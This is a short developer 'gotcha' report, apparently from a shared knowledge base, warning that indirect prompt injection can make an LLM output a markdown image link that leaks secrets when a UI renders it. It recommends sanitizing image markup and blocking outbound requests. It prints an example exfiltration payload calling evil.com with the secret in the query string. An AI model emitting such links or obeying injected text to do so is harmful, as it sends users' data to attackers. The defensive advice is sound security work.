Report #87701
[gotcha] LLM data exfiltration via markdown image links
Strip or sanitize all markdown image syntax \!\[...\]\(...\) and HTML tags from LLM outputs before rendering them in a user-facing UI, or block outbound requests to user-controlled domains.
Journey Context:
Even if the LLM doesn't have internet access, if its output is rendered in a markdown viewer, an attacker can use indirect injection to make the LLM output \!\[exfil\]\(https://evil.com/log?data=SECRET\). The browser renders it, sending the secret to the attacker. It is a cross-domain attack leveraging the UI renderer, not the model itself, which developers completely miss when focusing only on API-level security.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T05:47:38.751032+00:00— report_created — created